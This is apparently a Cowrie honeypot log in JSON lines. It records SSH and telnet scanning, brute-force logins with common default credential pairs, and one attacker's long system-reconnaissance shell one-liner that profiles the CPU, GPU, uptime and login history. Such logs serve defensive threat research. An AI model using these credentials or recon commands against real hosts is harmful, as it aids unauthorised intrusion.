{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47642,"dst_ip":"159.203.135.109","dst_port":22,"session":"15b7729de7e4","protocol":"ssh","message":"New connection: 51.250.105.222:47642 (159.203.135.109:22) [session: 15b7729de7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:46.196323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:46.199312Z","src_ip":"51.250.105.222","session":"15b7729de7e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:46.323497Z","src_ip":"51.250.105.222","session":"15b7729de7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:46.700241Z","src_ip":"51.250.105.222","session":"15b7729de7e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:46.705703Z","src_ip":"160.187.174.22","session":"ef1ac78bcc40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:47.827900Z","src_ip":"51.250.105.222","session":"15b7729de7e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:35:48.005150Z","src_ip":"160.187.174.22","session":"ef1ac78bcc40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":59692,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d7fb70119e","protocol":"ssh","message":"New connection: 91.92.40.4:59692 (10.17.0.5:22) [session: f4d7fb70119e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.040890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.045341Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.138785Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1q2w3e4r","message":"login attempt [oracle/1q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.454563Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39006,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1f55d0946c","protocol":"telnet","message":"New connection: 170.64.224.25:39006 (159.203.135.109:23) [session: 7e1f55d0946c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.527338Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.725819Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.728860Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.732738Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.735853Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.738812Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.742852Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.745853Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.748798Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.751926Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.756024Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.759622Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.855152Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:06.943290Z","src_ip":"91.92.40.4","session":"f4d7fb70119e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.93","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4c3f628194","protocol":"telnet","message":"New connection: 198.235.24.93:59262 (10.17.0.5:23) [session: df4c3f628194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:09.579419Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8be2107f38e","protocol":"ssh","message":"New connection: 209.99.190.113:42828 (10.17.0.5:22) [session: a8be2107f38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:12.446010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:12.450042Z","src_ip":"209.99.190.113","session":"a8be2107f38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:12.547686Z","src_ip":"209.99.190.113","session":"a8be2107f38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.12345","message":"login attempt [root/Aa.12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:12.970682Z","src_ip":"209.99.190.113","session":"a8be2107f38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:14.071372Z","src_ip":"209.99.190.113","session":"a8be2107f38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50640,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae1035e9a6f","protocol":"ssh","message":"New connection: 160.187.174.22:50640 (159.203.135.109:22) [session: 2ae1035e9a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:15.856140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:15.859983Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:16.107508Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:16.821301Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:17.346921Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:17.350072Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:17.590371Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:17.594518Z","src_ip":"160.187.174.22","session":"2ae1035e9a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.799646377563477,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:19.378917Z","src_ip":"198.235.24.93","session":"df4c3f628194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56900,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9475bb7a547","protocol":"ssh","message":"New connection: 160.187.174.22:56900 (159.203.135.109:22) [session: e9475bb7a547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:44.443729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:44.447967Z","src_ip":"160.187.174.22","session":"e9475bb7a547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:44.693242Z","src_ip":"160.187.174.22","session":"e9475bb7a547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:36:45.462548Z","src_ip":"160.187.174.22","session":"e9475bb7a547","protocol":"ssh"}
